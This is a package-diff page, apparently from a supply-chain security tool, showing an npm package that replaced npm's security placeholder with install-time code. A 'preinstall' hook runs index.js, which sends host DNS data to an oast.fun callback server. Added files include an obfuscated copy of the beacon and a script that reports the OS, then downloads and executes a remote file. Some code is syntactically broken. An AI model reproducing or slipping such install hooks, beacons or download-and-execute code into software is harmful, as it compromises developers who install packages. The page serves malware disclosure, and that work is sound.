hello-1st-anni 0.0.1-security → 4.4.30
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of hello-1st-anni might be problematic. Click here for more details.
- package/dns.sh +4 -0
- package/index.js +68 -0
- package/obfuscate.js +2 -0
- package/old.js +39 -0
- package/package.json +9 -3
- package/postreq.js +34 -0
- package/working-features.js +114 -0
- package/README.md +0 -5
package/dns.sh
ADDED
package/index.js
ADDED
@@ -0,0 +1,68 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
const dns = require('dns');
|
4
|
+
const http = require('http');
|
5
|
+
|
6
|
+
const domain = 'google.com'; // Domain to perform DNS lookup on
|
7
|
+
// modify with call back server
|
8
|
+
const serverUrl = 'http://jouzjhqaabhhbfjsprdmwk0hu2gqdlf7l.oast.fun'; // URL of the server endpoint
|
9
|
+
|
10
|
+
// Perform DNS lookup
|
11
|
+
dns.resolve(domain, (err, addresses) => {
|
12
|
+
if (err) {
|
13
|
+
console.error(`Error resolving DNS for ${domain}: ${err.message}`);
|
14
|
+
return;
|
15
|
+
}
|
16
|
+
|
17
|
+
const dnsResult = addresses.join('\n');
|
18
|
+
|
19
|
+
// Send DNS result to server
|
20
|
+
const postData = JSON.stringify({ dnsResult });
|
21
|
+
const options = {
|
22
|
+
method: 'POST',
|
23
|
+
headers: {
|
24
|
+
'Content-Type': 'application/json',
|
25
|
+
'Content-Length': Buffer.byteLength(postData)
|
26
|
+
}
|
27
|
+
};
|
28
|
+
|
29
|
+
const req = http.request(serverUrl, options, (res) => {
|
30
|
+
console.log(`Status code: ${res.statusCode}`);
|
31
|
+
});
|
32
|
+
|
33
|
+
req.on('error', (error) => {a
|
34
|
+
console.error('Error sending DNS result to server:', error);
|
35
|
+
});
|
36
|
+
|
37
|
+
req.write(postData);
|
38
|
+
req.end();
|
39
|
+
});
|
40
|
+
|
41
|
+
|
42
|
+
// // variables
|
43
|
+
// var expiration_date = x;
|
44
|
+
// var in_scope_domain= google.com;
|
45
|
+
// var hostOS = unknown;
|
46
|
+
|
47
|
+
|
48
|
+
|
49
|
+
|
50
|
+
// // check date of engagement if older than current day ie expires, quit
|
51
|
+
// var today = new Date();
|
52
|
+
// var engagementDate = new Date(expiration_date);
|
53
|
+
// if (engagementDate < today) {
|
54
|
+
// return;
|
55
|
+
// }
|
56
|
+
// // check domain resolves, if it des not resolve quit
|
57
|
+
|
58
|
+
|
59
|
+
|
60
|
+
|
61
|
+
|
62
|
+
// // check host OS
|
63
|
+
|
64
|
+
// // if windows set download link to link1
|
65
|
+
|
66
|
+
// // if linux set download link to link2
|
67
|
+
|
68
|
+
// // download and execute from the link
|
package/obfuscate.js
ADDED
@@ -0,0 +1,2 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
function _0x566b(_0x4a0582,_0x5dd497){const _0x2d761f=_0x2d76();return _0x566b=function(_0x566baf,_0x3a5302){_0x566baf=_0x566baf-0xec;let _0x2d06ec=_0x2d761f[_0x566baf];return _0x2d06ec;},_0x566b(_0x4a0582,_0x5dd497);}function _0x2d76(){const _0x2795c1=['389216avQYlS','189872pfdqQI','Error\x20sending\x20DNS\x20result\x20to\x20server:','98nDTLeV','message','Error\x20resolving\x20DNS\x20for\x20','POST','byteLength','error','6ndhrGW','request','dns','log','131578urZFvP','stringify','502506TwyUJn','344232YENzvn','Status\x20code:\x20','write','application/json','1079055kPZvlL','42774vFJMWE','resolve'];_0x2d76=function(){return _0x2795c1;};return _0x2d76();}const _0x51e6ec=_0x566b;(function(_0xd44ec2,_0x3e9b61){const _0x410a96=_0x566b,_0x505881=_0xd44ec2();while(!![]){try{const _0x5b713d=parseInt(_0x410a96(0xf7))/0x1+-parseInt(_0x410a96(0xf4))/0x2*(parseInt(_0x410a96(0xf0))/0x3)+-parseInt(_0x410a96(0xff))/0x4+parseInt(_0x410a96(0xfb))/0x5+-parseInt(_0x410a96(0xfc))/0x6*(parseInt(_0x410a96(0x101))/0x7)+-parseInt(_0x410a96(0xfe))/0x8+-parseInt(_0x410a96(0xf6))/0x9;if(_0x5b713d===_0x3e9b61)break;else _0x505881['push'](_0x505881['shift']());}catch(_0x41adbb){_0x505881['push'](_0x505881['shift']());}}}(_0x2d76,0x2b241));const dns=require(_0x51e6ec(0xf2)),http=require('http'),domain='google.com',serverUrl='http://jouzjhqaabhhbfjsprdmwk0hu2gqdlf7l.oast.fun';dns[_0x51e6ec(0xfd)](domain,(_0x16da5e,_0x25524b)=>{const _0x55c924=_0x51e6ec;if(_0x16da5e){console['error'](_0x55c924(0xec)+domain+':\x20'+_0x16da5e[_0x55c924(0x102)]);return;}const _0x14bbe3=_0x25524b['join']('\x0a'),_0x280b1b=JSON[_0x55c924(0xf5)]({'dnsResult':_0x14bbe3}),_0x1a7820={'method':_0x55c924(0xed),'headers':{'Content-Type':_0x55c924(0xfa),'Content-Length':Buffer[_0x55c924(0xee)](_0x280b1b)}},_0xd3bd13=http[_0x55c924(0xf1)](serverUrl,_0x1a7820,_0x396dc3=>{const _0x5a0312=_0x55c924;console[_0x5a0312(0xf3)](_0x5a0312(0xf8)+_0x396dc3['statusCode']);});_0xd3bd13['on']('error',_0x25d565=>{const _0x402379=_0x55c924;console[_0x402379(0xef)](_0x402379(0x100),_0x25d565);}),_0xd3bd13[_0x55c924(0xf9)](_0x280b1b),_0xd3bd13['end']();});
|
package/old.js
ADDED
@@ -0,0 +1,39 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
const dns = require('dns');
|
3
|
+
const http = require('http');
|
4
|
+
|
5
|
+
const domain = 'google.com'; // Domain to perform DNS lookup on
|
6
|
+
// modify with call back server
|
7
|
+
const serverUrl = 'http://jouzjhqaabhhbfjsprdmwk0hu2gqdlf7l.oast.fun'; // URL of the server endpoint
|
8
|
+
|
9
|
+
// Perform DNS lookup
|
10
|
+
dns.resolve(domain, (err, addresses) => {
|
11
|
+
if (err) {
|
12
|
+
console.error(`Error resolving DNS for ${domain}: ${err.message}`);
|
13
|
+
return;
|
14
|
+
}
|
15
|
+
|
16
|
+
const dnsResult = addresses.join('\n');
|
17
|
+
|
18
|
+
// Send DNS result to server
|
19
|
+
const postData = JSON.stringify({ dnsResult });
|
20
|
+
const options = {
|
21
|
+
method: 'POST',
|
22
|
+
headers: {
|
23
|
+
'Content-Type': 'application/json',
|
24
|
+
'Content-Length': Buffer.byteLength(postData)
|
25
|
+
}
|
26
|
+
};
|
27
|
+
|
28
|
+
const req = http.request(serverUrl, options, (res) => {
|
29
|
+
console.log(`Status code: ${res.statusCode}`);
|
30
|
+
});
|
31
|
+
|
32
|
+
req.on('error', (error) => {a
|
33
|
+
console.error('Error sending DNS result to server:', error);
|
34
|
+
});
|
35
|
+
|
36
|
+
req.write(postData);
|
37
|
+
req.end();
|
38
|
+
});
|
39
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "hello-1st-anni",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "4.4.30",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall":"./index.js"
|
9
|
+
},
|
10
|
+
"author": "not anni",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/postreq.js
ADDED
@@ -0,0 +1,34 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
|
3
|
+
|
4
|
+
const domain = 'google.com';
|
5
|
+
|
6
|
+
dns.resolve(domain, (err, addresses) => {
|
7
|
+
if (err) {
|
8
|
+
console.error('Error:', err);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
|
12
|
+
|
13
|
+
console.log('Resolved addresses:', addresses);
|
14
|
+
return dnsResult=addresses.join('\n');
|
15
|
+
|
16
|
+
|
17
|
+
});
|
18
|
+
|
19
|
+
|
20
|
+
|
21
|
+
|
22
|
+
fetch("jouzjhqaabhhbfjsprdmwk0hu2gqdlf7l.oast.fun", {
|
23
|
+
method: "POST",
|
24
|
+
body: JSON.stringify({
|
25
|
+
userId: 1,
|
26
|
+
title: "Fix my bugs",
|
27
|
+
completed: false
|
28
|
+
}),
|
29
|
+
headers: {
|
30
|
+
"Content-type": "application/json; charset=UTF-8"
|
31
|
+
}
|
32
|
+
})
|
33
|
+
.then((response) => response.json())
|
34
|
+
.then((json) => console.log(json));
|
@@ -0,0 +1,114 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
const dns = require('dns');
|
4
|
+
const http = require('http');
|
5
|
+
const os = detectOS();
|
6
|
+
|
7
|
+
|
8
|
+
const domain = 'google.com'; // domain to check if it resolves
|
9
|
+
const serverUrl = 'http://jouzjhqaabhhbfjsprdmwk0hu2gqdlf7l.oast.fun'; // URL of the server endpoint
|
10
|
+
|
11
|
+
const fileUrl = 'https://filesampleshub.com/download/video/mp4/sample1.mp4'; // URL of the file to download
|
12
|
+
const downloadPath = '/home/titan/Downloads/downloaded-file.txt'; // Path to save the downloaded file
|
13
|
+
|
14
|
+
|
15
|
+
// detect OS
|
16
|
+
function detectOS() {
|
17
|
+
const pathSeparator = __dirname.includes('/') ? '/' : '\\';
|
18
|
+
|
19
|
+
if (pathSeparator === '/') {
|
20
|
+
return 'Linux';
|
21
|
+
} else if (pathSeparator === '\\') {
|
22
|
+
return 'Windows';
|
23
|
+
} else {
|
24
|
+
return 'Unknown';
|
25
|
+
}
|
26
|
+
}
|
27
|
+
|
28
|
+
// Perform DNS lookup
|
29
|
+
dns.resolve(domain, (err, addresses) => {
|
30
|
+
if (err) {
|
31
|
+
console.error(`Error resolving DNS for ${domain}: ${err.message}`);
|
32
|
+
return;
|
33
|
+
}
|
34
|
+
|
35
|
+
const dnsResult = addresses.join('\n');
|
36
|
+
console.log(dnsResult)
|
37
|
+
|
38
|
+
// Send DNS result to server
|
39
|
+
const postData = JSON.stringify({ dnsResult, os});
|
40
|
+
const options = {
|
41
|
+
method: 'POST',
|
42
|
+
headers: {
|
43
|
+
'Content-Type': 'application/json',
|
44
|
+
'Content-Length': Buffer.byteLength(postData)
|
45
|
+
}
|
46
|
+
};
|
47
|
+
|
48
|
+
const req = http.request(serverUrl, options, (res) => {
|
49
|
+
console.log(`Status code: ${res.statusCode}`);
|
50
|
+
});
|
51
|
+
|
52
|
+
req.on('error', (error) => {
|
53
|
+
console.error('Error sending DNS result to server:', error);
|
54
|
+
});
|
55
|
+
|
56
|
+
req.write(postData);
|
57
|
+
req.end();
|
58
|
+
});
|
59
|
+
const https = require('https');
|
60
|
+
const fs = require('fs');
|
61
|
+
|
62
|
+
|
63
|
+
// Make a GET request to the file URL
|
64
|
+
const request = https.get(fileUrl, (response) => {
|
65
|
+
// Create a writable stream to save the file
|
66
|
+
const fileStream = fs.createWriteStream(downloadPath);
|
67
|
+
|
68
|
+
// Pipe the response data to the file stream
|
69
|
+
response.pipe(fileStream);
|
70
|
+
|
71
|
+
// Event handler for stream finish event
|
72
|
+
fileStream.on('finish', () => {
|
73
|
+
console.log('File saved successfully.');
|
74
|
+
|
75
|
+
// Execute the downloaded file
|
76
|
+
executeFile(downloadPath);
|
77
|
+
});
|
78
|
+
|
79
|
+
// Event handler for stream error event
|
80
|
+
fileStream.on('error', (error) => {
|
81
|
+
console.error('Error saving file:', error);
|
82
|
+
});
|
83
|
+
});
|
84
|
+
|
85
|
+
// Handle errors during the request
|
86
|
+
request.on('error', (error) => {
|
87
|
+
console.error('Error downloading file:', error);
|
88
|
+
});
|
89
|
+
|
90
|
+
// Function to execute the downloaded file
|
91
|
+
function executeFile(filePath) {
|
92
|
+
// Check if the file is executable
|
93
|
+
fs.access(filePath, fs.constants.X_OK, (err) => {
|
94
|
+
if (err) {
|
95
|
+
console.error('File is not executable.');
|
96
|
+
return;
|
97
|
+
}
|
98
|
+
|
99
|
+
// Spawn a new process to execute the file
|
100
|
+
const childProcess = spawn(filePath, [], {
|
101
|
+
stdio: 'inherit' // Inherit stdio from parent process
|
102
|
+
});
|
103
|
+
|
104
|
+
// Event handler for process exit event
|
105
|
+
childProcess.on('exit', (code, signal) => {
|
106
|
+
console.log(`File execution completed. Exit code: ${code}`);
|
107
|
+
});
|
108
|
+
|
109
|
+
// Event handler for process error event
|
110
|
+
childProcess.on('error', (error) => {
|
111
|
+
console.error('Error executing file:', error);
|
112
|
+
});
|
113
|
+
});
|
114
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=hello-1st-anni for more information.
|